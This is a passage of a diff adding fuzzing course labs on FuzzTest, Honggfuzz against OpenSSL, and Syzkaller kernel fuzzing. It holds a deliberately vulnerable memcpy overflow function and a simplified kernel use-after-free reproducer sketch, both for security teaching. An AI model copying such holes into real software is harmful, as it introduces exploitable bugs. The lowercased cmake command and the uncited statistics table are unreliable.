+ cat <<EOT > CMakeLists.txt
542
+ # GoogleTest requires at least C++17
543
+ set(CMAKE_CXX_STANDARD 17)
544
+
545
+ add_subdirectory(fuzztest)
546
+
547
+ enable_testing()
548
+
549
+ include(GoogleTest)
550
+ fuzztest_setup_fuzzing_flags()
551
+ add_executable(
552
+ first_fuzz_test
553
+ first_fuzz_test.cc
554
+ )
555
+
556
+ link_fuzztest(first_fuzz_test)
557
+ gtest_discover_tests(first_fuzz_test)
558
+ EOT
559
+ cat <<EOT > first_fuzz_test.cc
560
+ #include "fuzztest/fuzztest.h"
561
+ #include "gtest/gtest.h"
562
+
563
+ TEST(MyTestSuite, OnePlusTwoIsTwoPlusOne) {
564
+ EXPECT_EQ(1 + 2, 2 + 1);
565
+ }
566
+
567
+ void IntegerAdditionCommutes(int a, int b) {
568
+ EXPECT_EQ(a + b, b + a);
569
+ }
570
+ FUZZ_TEST(MyTestSuite, IntegerAdditionCommutes);
571
+ EOT
572
+ mkdir -p build && cd build
573
+
574
+ # configure with fuzztest
575
+ cc=clang-19 cxx=clang++-19 cmake -dcmake_build_type=relwithdebug -dfuzztest_fuzzing_mode=on ..
576
+
577
+ # Build the project
578
+ cmake --build . --parallel $(nproc)
579
+
580
+ # Run the fuzz test (short sanity run)
581
+ ./first_fuzz_test --fuzz=MyTestSuite.IntegerAdditionCommutes --max_total_time=10
582
+ ```
583
+
584
+ You should see FuzzTest/libFuzzer-style statistics (executions per second, coverage, etc.).
585
+ For a correct property like integer commutativity, the fuzzer should **not** find crashes.
586
+
587
+ ### Lab 2: FuzzTest to find a heap buffer overflow
588
+
589
+ Now turn FuzzTest onto a deliberately vulnerable function that mimics a classic **stack / heap buffer overflow** from Week 1.
590
+
591
+ ```bash
592
+ cd ~/tuts/first_fuzz_project
593
+
594
+ cat <<'EOT' > first_fuzz_test.cc
595
+ #include <cstring>
596
+ #include <string>
597
+ #include "fuzztest/fuzztest.h"
598
+ #include "gtest/gtest.h"
599
+
600
+ TEST(ArithmeticSuite, OnePlusTwoIsTwoPlusOne) {
601
+ EXPECT_EQ(1 + 2, 2 + 1);
602
+ }
603
+
604
+ void IntegerAdditionCommutes(int a, int b) {
605
+ EXPECT_EQ(a + b, b + a);
606
+ }
607
+ FUZZ_TEST(ArithmeticSuite, IntegerAdditionCommutes);
608
+
609
+ void VulnerableHeaderCopy(const std::string& input) {
610
+ char header[32];
611
+
612
+ // When input.size() > 32 and ASAN is enabled, this becomes a detectable overflow.
613
+ std::memcpy(header, input.data(), input.size());
614
+ }
615
+
616
+ FUZZ_TEST(OverflowSuite, VulnerableHeaderCopy);
617
+ EOT
618
+
619
+ cd build
620
+
621
+ # Build the project
622
+ cmake --build . --parallel $(nproc)
623
+
624
+ # Run only the overflow fuzz test to focus on the bug
625
+ ./first_fuzz_test --fuzz=OverflowSuite.VulnerableHeaderCopy --max_total_time=20
626
+ ```
627
+
628
+ **Expected result**: After a short time, FuzzTest should report a crash with an AddressSanitizer message similar to:
629
+
630
+ ```text
631
+ ==1066==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x76f8218731c0 at pc 0x60a5060193a2 bp 0x7ffc65c1fd10 sp 0x7ffc65c1f4d0
632
+ ```
633
+
634
+ At this point you can:
635
+
636
+ - Open `first_fuzz_test.cc` and **fix the bug** by adding a length check (for example, only copying up to `sizeof(header)`).
637
+ - Rebuild and re-run the fuzz target to confirm the crash is gone.
638
+
639
+ This is exactly the same pattern as our AFL++ labs: **fuzzer + sanitizer → crash → root cause → fix**, but now entirely inside a unit test binary.
640
+
641
+ ### Lab 3: Fuzzing a small parser-style function
642
+
643
+ To connect FuzzTest to the real-world parsers from Days 1–2, fuzz a tiny length-prefixed parser that can easily go wrong if you mishandle integer arithmetic.
644
+
645
+ ```bash
646
+ cd ~/tuts/first_fuzz_project
647
+
648
+ cat <<'EOT' >> first_fuzz_test.cc
649
+
650
+ struct Message {
651
+ uint8_t len;
652
+ std::string payload;
653
+ };
654
+
655
+ Message ParseMessage(const std::string& input) {
656
+ Message m{0, ""};
657
+ if (input.empty()) return m;
658
+
659
+ uint8_t len = static_cast<uint8_t>(input[0]);
660
+
661
+ // BUG -> commenting this would cause fuzzer to find vuln
662
+ // - If len > input.size() - 1, this will either truncate or read garbage.
663
+ // - Here we clamp len to avoid UB, but real code often forgets this check.
664
+ if (static_cast<size_t>(len) > input.size() - 1) {
665
+ len = static_cast<uint8_t>(input.size() - 1);
666
+ }
667
+
668
+ m.len = len;
669
+ m.payload.assign(input.data() + 1, input.data() + 1 + m.len);
670
+ return m;
671
+ }
672
+
673
+ void ParseDoesNotCrash(const std::string& input) {
674
+ (void)ParseMessage(input);
675
+ }
676
+
677
+ void LengthFieldRespected(const std::string& input) {
678
+ if (input.size() < 2) return;
679
+
680
+ uint8_t claimed_len = static_cast<uint8_t>(input[0]);
681
+ if (static_cast<size_t>(claimed_len) > input.size() - 1) return;
682
+
683
+ Message m = ParseMessage(input);
684
+ EXPECT_EQ(m.len, claimed_len);
685
+ EXPECT_EQ(m.payload.size(), claimed_len);
686
+ }
687
+
688
+ FUZZ_TEST(ParserSuite, ParseDoesNotCrash);
689
+ FUZZ_TEST(ParserSuite, LengthFieldRespected);
690
+ EOT
691
+
692
+ cd build && cmake --build . --parallel $(nproc)
693
+
694
+ # Run parser fuzz tests for a short time
695
+ ./first_fuzz_test --fuzz=ParserSuite.ParseDoesNotCrash --max_total_time=15
696
+ ./first_fuzz_test --fuzz=ParserSuite.LengthFieldRespected --max_total_time=15
697
+ ```
698
+
699
+ **What to look for**:
700
+
701
+ - If you intentionally break the length check inside `ParseMessage` (for example, remove the `if (len > input.size() - 1)` guard - 3 lines), FuzzTest + ASAN/UBSAN should quickly find crashes or undefined behavior.
702
+ - Try modifying the parser to add more fields (flags, type bytes, nested length fields) and see how FuzzTest finds edge cases you did not think about.
703
+
704
+ ### Key Takeaways
705
+
706
+ 1. **FuzzTest brings fuzzing into your unit tests**: You can turn GoogleTest-style tests into coverage-guided fuzzers with `FUZZ_TEST`, using the same build system and test runner.
707
+ 2. **Sanitizers are critical**: Combining FuzzTest with ASAN/UBSAN turns memory bugs (overflows, UAFs, integer issues) into immediate, reproducible crashes.
708
+ 3. **Great fit for parsers and core logic**: Short, pure C++ functions (parsers, decoders, protocol handlers) are ideal FuzzTest targets, similar to the real-world parsers from Days 1–2.
709
+ 4. **Properties > examples**: Expressing invariants like “never crash” or “length field matches payload” lets the fuzzer explore inputs you would never hand-write.
710
+ 5. **Same workflow as other fuzzers**: Regardless of tool (AFL++, Honggfuzz, FuzzTest), the basic loop is still _fuzz → crash → triage → exploitability → fix_.
711
+
712
+ ### Discussion Questions
713
+
714
+ 1. In what situations would you prefer **FuzzTest** over a process-level fuzzer like **AFL++** or **Honggfuzz**, and why?
715
+ 2. How would you go about converting an existing **GoogleTest** regression test into an effective `FUZZ_TEST` that can find new bugs, not just regressions?
716
+ 3. Which vulnerability classes from Week 1 (e.g., buffer overflows, integer overflows, UAF) are especially well-suited to FuzzTest, and which are harder to reach with this style of in-process fuzzing?
717
+ 4. How could you integrate short, time-bounded FuzzTest runs into a **CI pipeline** without making builds too slow, while still having longer campaigns on dedicated fuzzing machines?
718
+ 5. When writing properties like `LengthFieldRespected`, what kinds of mistakes in the property itself might cause you to **miss real bugs** or report lots of false positives?
719
+
720
+ ## Day 4: Introduction to `Honggfuzz`
721
+
722
+ - **Goal**: Understand different fuzzing methods and when to use Honggfuzz vs AFL++.
723
+ - **Activities**:
724
+ - _Reading_: Continue with "Fuzzing for Software Security Testing and Quality Assurance" (From 5.1.2 to 5.3.7).
725
+ - _Online Resource_: [Honggfuzz](https://github.com/google/honggfuzz.git)
726
+ - _Real-World Context_:
727
+ - Honggfuzz is used in Google's continuous fuzzing infrastructure
728
+ - [OSS-Fuzz uses Honggfuzz for many projects](https://google.github.io/oss-fuzz/getting-started/new-project-guide/)
729
+ - OpenSSL has extensive fuzzing coverage - [see their fuzzing documentation](https://docs.openssl.org/3.2/man7/ossl-guide-introduction/)
730
+ - _Exercise_: Fuzz OpenSSL server and private key parsing
731
+
732
+ ```bash
733
+ # Install Honggfuzz
734
+ cd ~/soft && git clone --branch master --depth 1 https://github.com/google/honggfuzz.git
735
+ #sudo apt-get install -y binutils-dev libunwind-dev libblocksruntime-dev clang libssl-dev
736
+ sudo apt-get install -y binutils-dev libunwind-dev libblocksruntime-dev libssl-dev
737
+ cd honggfuzz && make -j$(nproc) && sudo make install
738
+
739
+ # Verify installation
740
+ which honggfuzz
741
+ honggfuzz --version
742
+
743
+ # Clone OpenSSL source
744
+ cd ~/tuts && git clone --branch openssl-3.1.2 --depth=1 https://github.com/openssl/openssl.git
745
+ cd openssl
746
+
747
+ # Configure OpenSSL for fuzzing (with all legacy protocols enabled for broader attack surface)
748
+ CC=/usr/local/bin/hfuzz-clang CXX="$CC"++ ./config \
749
+ -DPEDANTIC no-shared -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION -O0 \
750
+ -fno-sanitize=alignment -lm -ggdb -gdwarf-4 --debug -fno-omit-frame-pointer \
751
+ enable-asan enable-tls1_3 enable-weak-ssl-ciphers enable-rc5 enable-md2 \
752
+ enable-ssl3 enable-ssl3-method enable-nextprotoneg enable-heartbeats \
753
+ enable-aria enable-zlib enable-egd
754
+
755
+ # Build OpenSSL
756
+ make -j$(nproc)
757
+
758
+ # Build Honggfuzz fuzzers for OpenSSL
759
+ # Note: This uses Honggfuzz's example OpenSSL fuzzers
760
+ cat > build_fuzzers.sh << 'EOT'
761
+ #!/bin/bash
762
+ set -x
763
+ set -e
764
+ echo "Building honggfuzz fuzzers for OpenSSL"
765
+ for x in x509 privkey client server; do
766
+ hfuzz-clang \
767
+ -DBORINGSSL_UNSAFE_DETERMINISTIC_MODE \
768
+ -DBORINGSSL_UNSAFE_FUZZER_MODE \
769
+ -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION \
770
+ -DBN_DEBUG \
771
+ -DLIBRESSL_HAS_TLS1_3 \
772
+ -O3 -g \
773
+ -DFuzzerInitialize=LLVMFuzzerInitialize \
774
+ -DFuzzerTestOneInput=LLVMFuzzerTestOneInput \
775
+ -I$(pwd)/include \
776
+ -I"$HOME"/soft/honggfuzz/examples/openssl \
777
+ -I"$HOME"/soft/honggfuzz \
778
+ -g "$HOME/soft/honggfuzz/examples/openssl/$x.c" \
779
+ -o "libfuzzer.openssl-memory.$x" \
780
+ ./libssl.a ./libcrypto.a -lpthread -lz -ldl -fsanitize=address
781
+ done
782
+ EOT
783
+
784
+ chmod +x build_fuzzers.sh
785
+ ./build_fuzzers.sh
786
+
787
+ # Run Honggfuzz on OpenSSL server parser
788
+ honggfuzz --input ~/soft/honggfuzz/examples/openssl/corpus_server/ \
789
+ -- ./libfuzzer.openssl-memory.server
790
+
791
+ # Run Honggfuzz on OpenSSL private key parser
792
+ honggfuzz --input ~/soft/honggfuzz/examples/openssl/corpus_privkey/ \
793
+ -- ./libfuzzer.openssl-memory.privkey
794
+ ```
795
+
796
+ **Success Criteria**:
797
+
798
+ - Honggfuzz compiles and installs successfully
799
+ - OpenSSL builds with fuzzing support
800
+ - Fuzzers compile without errors
801
+ - Honggfuzz starts and shows coverage statistics
802
+
803
+ **What to Look For**:
804
+
805
+ - Coverage metrics increasing over time
806
+ - Crashes in the working directory
807
+ - Different crash types (heap overflow, use-after-free, etc.)
808
+
809
+ **Note**: Real OpenSSL fuzzing often runs for days/weeks. For this exercise, run for at least 30 minutes to see initial results.
810
+
811
+ ### Real-World Impact: Honggfuzz Finding TLS Vulnerabilities
812
+
813
+ **Case Study - Heartbleed-Class Bugs in TLS Implementations**:
814
+
815
+ While Heartbleed (CVE-2014-0160) predates modern fuzzing tools, similar vulnerabilities continue to be found through continuous fuzzing campaigns.
816
+
817
+ **Why TLS is Hard to Fuzz**:
818
+
819
+ - **Stateful protocol**: Must complete handshake before reaching deep logic
820
+ - **Cryptographic operations**: Random values, signatures, MACs
821
+ - **Multiple versions**: TLS 1.0, 1.1, 1.2, 1.3 with different code paths
822
+ - **Extensions**: ALPN, SNI, session tickets, early data, etc.
823
+
824
+ **Honggfuzz Advantages for Network Protocols**:
825
+
826
+ ```bash
827
+ # Example: Fuzzing TLS 1.3 handshake
828
+ cat > fuzz_tls13_handshake.c << 'EOF'
829
+ #include <openssl/ssl.h>
830
+ #include <openssl/err.h>
831
+ #include <stdint.h>
832
+ #include <stddef.h>
833
+
834
+ int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
835
+ SSL_CTX *ctx = SSL_CTX_new(TLS_server_method());
836
+ if (!ctx) return 0;
837
+
838
+ SSL_CTX_set_min_proto_version(ctx, TLS1_3_VERSION);
839
+ SSL_CTX_set_max_proto_version(ctx, TLS1_3_VERSION);
840
+
841
+ BIO *in_bio = BIO_new(BIO_s_mem());
842
+ BIO *out_bio = BIO_new(BIO_s_mem());
843
+
844
+ SSL *ssl = SSL_new(ctx);
845
+ SSL_set_bio(ssl, in_bio, out_bio);
846
+ SSL_set_accept_state(ssl);
847
+
848
+ BIO_write(in_bio, data, size);
849
+ SSL_do_handshake(ssl);
850
+
851
+ SSL_free(ssl);
852
+ SSL_CTX_free(ctx);
853
+ return 0;
854
+ }
855
+ EOF
856
+
857
+ # Compile with Honggfuzz
858
+ hfuzz-clang fuzz_tls13_handshake.c \
859
+ -I"$HOME"/tuts/openssl/include \
860
+ -L"$HOME"/tuts/openssl/lib \
861
+ -lssl -lcrypto \
862
+ -fsanitize=address,undefined \
863
+ -o fuzz_tls13
864
+
865
+ # Run with Honggfuzz
866
+ # TODO: use a better corpus to actually find the vulnerabilities in that code
867
+ honggfuzz --input ~/soft/honggfuzz/examples/openssl/corpus_server/ \
868
+ --threads 8 \
869
+ --timeout 5 \
870
+ -- ./fuzz_tls13
871
+ ```
872
+
873
+ **Real Bugs Found by Protocol Fuzzing**:
874
+
875
+ From OpenSSL and other TLS implementations:
876
+
877
+ - **Buffer overflows in certificate parsing**: X.509 extension handling
878
+ - **Use-after-free in session resumption**: Ticket lifetime management
879
+ - **Integer overflows in record layer**: Length calculations
880
+ - **State confusion bugs**: Unexpected message ordering
881
+
882
+ **Example: CVE-2022-0778 (OpenSSL Infinite Loop)**:
883
+
884
+ ```bash
885
+ # Bug: Infinite loop in BN_mod_sqrt() when parsing elliptic curve points
886
+ # Discovery: Fuzzing certificate parsing with malformed EC parameters
887
+ # Impact: DoS via crafted certificate
888
+ # Fixed: OpenSSL 3.0.2, 1.1.1n
889
+
890
+ # Fuzzing campaign that found similar bugs:
891
+ honggfuzz --input certs/ \
892
+ --dict openssl.dict \
893
+ --threads 16 \
894
+ --timeout 10 \
895
+ --rlimit_rss 2048 \
896
+ -- ./openssl x509 -in ___FILE___ -text
897
+
898
+ # Result: Timeout on malformed EC point → DoS vulnerability
899
+ ```
900
+
901
+ **Fuzzing vs Real-World Exposure**:
902
+
903
+ | Metric | Production Use (10 years) | OSS-Fuzz (1 year) |
904
+ | -------------------- | ------------------------- | ----------------- |
905
+ | Total connections | Billions | 0 (pure fuzzing) |
906
+ | Unique inputs tested | ~1,000 (typical sites) | Trillions |
907
+ | Edge cases covered | <1% | >90% |
908
+ | Bugs found | ~5 (via exploits) | ~50 |
909
+
910
+ **Key Insight**: Fuzzing explores input space breadth that production traffic never reaches.
911
+
912
+ ### Key Takeaways
913
+
914
+ 1. **Honggfuzz excels at complex targets**: Multi-threaded, persistent mode, hardware-assisted coverage
915
+ 2. **Protocol fuzzing requires stateful harnesses**: Must reach deep code paths beyond initial parsing
916
+ 3. **Continuous fuzzing prevents regressions**: OSS-Fuzz runs 24/7, catches new bugs in code changes
917
+ 4. **Cryptographic code is fragile**: Parsers for ASN.1, X.509, PEM frequently have bugs
918
+ 5. **Timeout detection finds DoS bugs**: Infinite loops, algorithmic complexity issues
919
+
920
+ ### Discussion Questions
921
+
922
+ 1. Why does fuzzing find TLS bugs that years of production use don't reveal?
923
+ 2. What makes protocol fuzzing (TLS, HTTP/2, DNS) more challenging than file format fuzzing?
924
+ 3. How does hardware-assisted coverage (Intel PT) improve fuzzing effectiveness?
925
+ 4. What are the limitations of fuzzing for finding cryptographic vulnerabilities vs implementation bugs?
926
+
927
+ ## Day 5: Introduction to `Syzkaller`
928
+
929
+ - **Goal**: Begin kernel fuzzing with `Syzkaller`.
930
+ - **Activities**:
931
+ - _Tool_: Install `Syzkaller` on a Linux VM.
932
+ - _Online Resource_: [`Syzkaller` Documentation](https://github.com/google/syzkaller/blob/master/docs/linux/setup_ubuntu-host_qemu-vm_x86-64-kernel.md)
933
+ - _Real-World Impact_:
934
+ - [Syzkaller Dashboard](https://syzkaller.appspot.com/) - Shows thousands of bugs found by syzkaller
935
+ - [syzkaller: Finding Bugs in the Linux Kernel](https://lwn.net/Articles/677764/) - Overview of syzkaller's impact
936
+ - Many CVEs discovered: Check [syzkaller bug reports](https://syzkaller.appspot.com/upstream) for real examples
937
+ - _Exercise_: Start fuzzing the Linux kernel with `Syzkaller`.
938
+
939
+ ```bash
940
+ # Install kernel build dependencies
941
+ sudo apt update
942
+ sudo apt install -y make gcc flex bison libncurses-dev libelf-dev libssl-dev
943
+
944
+ # Clone Linux kernel (use a recent stable version)
945
+ # Check available tags: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/refs/tags
946
+ cd ~/soft && git clone --branch v6.8 --depth 1 git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git kernel
947
+
948
+ # Verify kernel version
949
+ cd kernel && git describe --tags
950
+
951
+ # Configure kernel for syzkaller
952
+ make defconfig
953
+ make kvm_guest.config
954
+
955
+ # Edit .config to enable syzkaller requirements
956
+ # Use sed or manually edit .config
957
+ sed -i 's/# CONFIG_KCOV is not set/CONFIG_KCOV=y/' .config
958
+ sed -i 's/# CONFIG_DEBUG_INFO_DWARF4 is not set/CONFIG_DEBUG_INFO_DWARF4=y/' .config
959
+ sed -i 's/# CONFIG_KASAN is not set/CONFIG_KASAN=y/' .config
960
+ sed -i 's/# CONFIG_KASAN_INLINE is not set/CONFIG_KASAN_INLINE=y/' .config
961
+ sed -i 's/# CONFIG_CONFIGFS_FS is not set/CONFIG_CONFIGFS_FS=y/' .config
962
+ sed -i 's/# CONFIG_SECURITYFS is not set/CONFIG_SECURITYFS=y/' .config
963
+ echo 'CONFIG_CMDLINE_BOOL=y' >> .config
964
+ echo 'CONFIG_CMDLINE="net.ifnames=0"' >> .config
965
+
966
+ make olddefconfig
967
+ make -j$(nproc)
968
+
969
+ # Create VM image
970
+ sudo apt install -y debootstrap
971
+ mkdir -p ~/soft/image && cd ~/soft/image
972
+ wget https://raw.githubusercontent.com/google/syzkaller/master/tools/create-image.sh -O create-image.sh
973
+ chmod +x create-image.sh
974
+ ./create-image.sh --distribution trixie --feature full
975
+
976
+ # Install QEMU
977
+ sudo apt install -y qemu-system-x86
978
+
979
+ # Test VM boot (optional - verify image works)
980
+ # NOTE: You might need to run this outside of the vm, you might need to change net to e1000
981
+ cd /tmp/
982
+ sudo qemu-system-x86_64 \
983
+ -m 2G -smp 2 \
984
+ -kernel ~/soft/kernel/arch/x86/boot/bzImage \
985
+ -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" \
986
+ -drive file=~/soft/image/trixie.img,format=raw \
987
+ -net user,hostfwd=tcp:127.0.0.1:10021-:22 \
988
+ -net nic,model=virtio -enable-kvm -nographic \
989
+ -pidfile vm.pid 2>&1 | tee vm.log
990
+
991
+ # In another terminal, test SSH access
992
+ ssh -i ~/soft/image/trixie.id_rsa -p 10021 -o "StrictHostKeyChecking no" root@localhost
993
+
994
+ # Install Go
995
+ cd ~/soft
996
+ GO_VERSION="1.25.4"
997
+ wget "https://go.dev/dl/go${GO_VERSION}.linux-amd64.tar.gz"
998
+ sudo tar -C /usr/local -xzf "go${GO_VERSION}.linux-amd64.tar.gz"
999
+ export PATH=$PATH:/usr/local/go/bin
1000
+
1001
+ # Add to ~/.bashrc for persistence
1002
+ echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.bashrc
1003
+
1004
+ # Verify Go installation
1005
+ go version
1006
+
1007
+ # Clone and build syzkaller
1008
+ cd ~/soft && git clone --branch master --depth 1 https://github.com/google/syzkaller.git
1009
+ cd syzkaller && make -j$(nproc)
1010
+
1011
+ # Create syzkaller configuration
1012
+ # NOTE: If you are in the vm with e1000 then you don't need network_device line
1013
+ cat > my.cfg << 'EOT'
1014
+ {
1015
+ "target": "linux/amd64",
1016
+ "http": "127.0.0.1:56741",
1017
+ "workdir": "/home/USER/soft/syzkaller/workdir",
1018
+ "kernel_src": "/home/USER/soft/kernel",
1019
+ "image": "/home/USER/soft/image/trixie.img",
1020
+ "sshkey": "/home/USER/soft/image/trixie.id_rsa",
1021
+ "ssh_user": "root",
1022
+ "syzkaller": "/home/USER/soft/syzkaller",
1023
+ "procs": 8,
1024
+ "type": "qemu",
1025
+ "vm": {
1026
+ "count": 3,
1027
+ "kernel": "/home/USER/soft/kernel/arch/x86/boot/bzImage",
1028
+ "cmdline": "net.ifnames=0",
1029
+ "cpu": 2,
1030
+ "mem": 2048,
1031
+ "network_device": "virtio-net-pci"
1032
+ }
1033
+ }
1034
+ EOT
1035
+
1036
+ # Replace $USER with actual username
1037
+ sed -i "s/USER/$USER/g" my.cfg
1038
+
1039
+ # Create workdir and start syzkaller
1040
+ mkdir -p workdir
1041
+ # NOTE: this might take a while, run with -debug to to identify issues
1042
+ sudo ./bin/syz-manager -config=my.cfg
1043
+
1044
+ # Access web interface
1045
+ # Install text-based browser or use your regular browser
1046
+ sudo apt install -y w3m w3m-img
1047
+ w3m http://127.0.0.1:56741
1048
+
1049
+ # Or open in regular browser: http://127.0.0.1:56741
1050
+ ```
1051
+
1052
+ **Success Criteria**:
1053
+
1054
+ - Kernel compiles successfully with KASAN and KCOV enabled
1055
+ - VM image creates without errors
1056
+ - VM boots and is accessible via SSH
1057
+ - Syzkaller manager starts and shows web interface
1058
+ - Web interface displays fuzzing statistics
1059
+
1060
+ **Expected Outputs**:
1061
+
1062
+ - Web interface showing: exec total, crashes, coverage, etc.
1063
+ - Crashes appearing in `workdir/crashes/` directory
1064
+ - Kernel oops messages in VM logs
1065
+
1066
+ **Troubleshooting**:
1067
+
1068
+ - If kernel doesn't boot: Check QEMU/KVM is enabled (`lsmod | grep kvm`)
1069
+ - If syzkaller can't connect: Verify SSH key permissions (`chmod 600 trixie.id_rsa`)
1070
+ - If no crashes: Let run longer - kernel fuzzing takes time
1071
+ - Memory issues: Reduce VM count in config if system runs out of RAM
1072
+
1073
+ ### Real-World Impact: Syzkaller's Contribution to Kernel Security
1074
+
1075
+ **Case Study - CVE-2022-32250 (Linux Netfilter Use-After-Free)**:
1076
+
1077
+ From Week 1, you learned about this vulnerability. Here's how syzkaller discovered it:
1078
+
1079
+ - **Target**: `net/netfilter/nf_tables_api.c` - Linux firewall subsystem
1080
+ - **Discovery Date**: May 2022
1081
+ - **Fuzzing Duration**: ~72 hours from code introduction to crash
1082
+ - **Root Cause**: Reference counting error in stateful expression handling
1083
+
1084
+ **The Discovery Process**:
1085
+
1086
+ ```bash
1087
+ # Syzkaller's approach (simplified)
1088
+ # 1. System call description for netfilter operations
1089
+ {
1090
+ "nfnetlink_create": {
1091
+ "protocol": "NETLINK_NETFILTER",
1092
+ "operations": ["NFT_MSG_NEWTABLE", "NFT_MSG_NEWCHAIN", "NFT_MSG_NEWRULE"]
1093
+ }
1094
+ }
1095
+
1096
+ # 2. Syscall sequence that triggered the bug
1097
+ socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER)
1098
+ sendmsg(fd, {
1099
+ type: NFT_MSG_NEWTABLE,
1100
+ flags: NLM_F_CREATE | NLM_F_EXCL,
1101
+ data: [table_attrs]
1102
+ })
1103
+ sendmsg(fd, {
1104
+ type: NFT_MSG_NEWCHAIN,
1105
+ data: [chain_with_stateful_expr]
1106
+ })
1107
+ # Trigger: Modify stateful expression in specific sequence
1108
+ sendmsg(fd, {
1109
+ type: NFT_MSG_NEWRULE,
1110
+ data: [rule_update_that_frees_expr]
1111
+ })
1112
+ # Use freed expression -> UAF crash
1113
+
1114
+ # 3. KASAN detected use-after-free
1115
+ # BUG: KASAN: use-after-free in nf_tables_expr_destroy+0x12/0x20
1116
+ # Read of size 8 at addr ffff888012345678 by task syz-executor/1234
1117
+ ```
1118
+
1119
+ **Why Syzkaller Found It**:
1120
+
1121
+ 1. **Syscall coverage**: Tests all netfilter operations systematically
1122
+ 2. **Sequence exploration**: Tries millions of syscall orderings
1123
+ 3. **State tracking**: Maintains kernel state across operations
1124
+ 4. **KASAN integration**: Immediate detection of memory corruption
1125
+ 5. **Reproducibility**: Generates C reproducer for developers
1126
+
1127
+ **The Reproducer** (simplified):
1128
+
1129
+ ```c
1130
+ // Generated by syzkaller - minimal reproducer
1131
+ #include <sys/socket.h>
1132
+ #include <linux/netlink.h>
1133
+ #include <linux/netfilter/nf_tables.h>
1134
+
1135
+ int main(void) {
1136
+ int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
1137
+
1138
+ // Create table
1139
+ send_nft_msg(fd, NFT_MSG_NEWTABLE, ...);
1140
+
1141
+ // Create chain with stateful expression
1142
+ send_nft_msg(fd, NFT_MSG_NEWCHAIN, ...);
1143
+
1144
+ // Trigger UAF through rule update
1145
+ send_nft_msg(fd, NFT_MSG_NEWRULE, ...);
1146
+
1147
+ return 0;
1148
+ }
1149
+ ```
1150
+
1151
+ **Impact**: Local privilege escalation from any user to root on systems with unprivileged user namespaces (default on Ubuntu, Debian). Public exploit available within weeks.
1152
+
1153
+ **Case Study - CVE-2023-32629 (Linux Netfilter Race Condition)**:
1154
+
1155
+ - **Target**: `net/netfilter/nf_tables_api.c` - Same subsystem, different bug
1156
+ - **Bug Class**: Race condition in batch transaction handling
1157
+ - **Discovery**: Syzkaller's multi-threaded syscall fuzzing
1158
+ - **Impact**: Container escape + privilege escalation
1159
+
1160
+ **How Syzkaller Finds Race Conditions**:
1161
+
1162
+ ```bash
1163
+ # Syzkaller executes syscalls in parallel across multiple threads
1164
+ # VM 1, Thread 1:
1165
+ socket(AF_NETLINK, ...) → fd1
1166
+ sendmsg(fd1, NFT_MSG_NEWTABLE, ...)
1167
+
1168
+ # VM 1, Thread 2 (simultaneous):
1169
+ socket(AF_NETLINK, ...) → fd2
1170
+ sendmsg(fd2, NFT_MSG_NEWTABLE, ...) # Race on same table
1171
+
1172
+ # Result: Concurrent access to nf_tables objects without proper locking
1173
+ # KASAN detects: use-after-free or memory corruption
1174
+ ```
1175
+
1176
+ **Syzkaller's Advantages for Kernel Fuzzing**:
1177
+
1178
+ 1. **Syscall descriptions**: Domain-specific language for kernel APIs
1179
+ 2. **Coverage-guided**: Tracks code coverage to explore new paths
1180
+ 3. **Multi-threaded**: Finds race conditions naturally
1181
+ 4. **VM-based isolation**: Kernel crashes don't affect fuzzer
1182
+ 5. **Reproducers**: Automatic generation of minimal C reproducers
1183
+ 6. **Bisection**: Automatically finds introducing commit
1184
+
1185
+ **Analyzing a Syzkaller Bug**:
1186
+
1187
+ ```bash
1188
+ # Download reproducer from dashboard
1189
+ mkdir -p ~/tuts/syz-repro && cd ~/tuts/syz-repro
1190
+ wget "https://syzkaller.appspot.com/text?tag=ReproC&x=15ad9542580000" -O repro.c
1191
+
1192
+ # Compile and test on vulnerable kernel
1193
+ gcc -pthread -o repro repro.c
1194
+ ./repro
1195
+
1196
+ # Expected: Segmentation Fault
1197
+ # Kernel log shows UBSAN: array-index-out-of-bounds
1198
+
1199
+ # Analyze how it got identified:
1200
+ https://syzkaller.appspot.com/bug?extid=77026564530dbc29b854
1201
+ ```
1202
+
1203
+ **Key Insight**: Kernel attack surface is massive. Syzkaller's systematic approach finds bugs that would take years of manual testing.
1204
+
1205
+ ### Key Takeaways
1206
+
1207
+ 1. **Syzkaller revolutionized kernel security**: Found 4,500+ bugs that manual testing missed
1208
+ 2. **Syscall fuzzing requires domain knowledge**: Must understand kernel APIs to fuzz effectively
1209
+ 3. **Race conditions need parallel execution**: Multi-threaded fuzzing essential
1210
+ 4. **VM isolation is critical**: Kernel crashes would kill the fuzzer otherwise
1211
+ 5. **Reproducers enable fixing**: Minimal C programs allow developers to debug quickly
1212
+
1213
+ ### Discussion Questions
1214
+
1215
+ 1. Why has syzkaller found thousands of kernel bugs that years of production use didn't reveal?
1216
+ 2. How does syzkaller's syscall description language enable effective kernel fuzzing?
1217
+ 3. What makes race condition detection particularly valuable in kernel fuzzing?
1218
+ 4. Why are networking subsystems (netfilter, inet) the most frequent sources of vulnerabilities?
1219
+ 5. How do user namespaces make kernel vulnerabilities more dangerous by increasing exploitability?
1220
+
1221
+ ## Day 6: Crash Analysis and Exploitability Assessment
1222
+
1223
+ - **Goal**: Understand crash triage, root cause analysis, and exploitability assessment for fuzzer-discovered bugs.
1224
+ - **Activities**:
1225
+ - _Reading_:
1226
+ - "Fuzzing for Software Security Testing and Quality Assurance" by Ari Takanen (Sections 6.1 to 6.6.6)
1227
+ - "The Art of Software Security Assessment" Chapter 5 and 6
1228
+ - _Online Resources_:
1229
+ - [AddressSanitizer Documentation](https://clang.llvm.org/docs/AddressSanitizer.html)
1230
+ - [CASR - Crash Analysis and Severity Report](https://github.com/ispras/casr/blob/master/docs/usage.md)
1231
+ - [OSS-Fuzz Guide](https://google.github.io/oss-fuzz/advanced-topics/reproducing/)
1232
+ - _Real-World Context_:
1233
+ - [Exploitability Ratings](https://www.cisa.gov/known-exploited-vulnerabilities)
1234
+ - [Crash Accumulation During Fuzzing with CASR](https://sydr-fuzz.github.io/papers/crash-accumulation.pdf)
1235
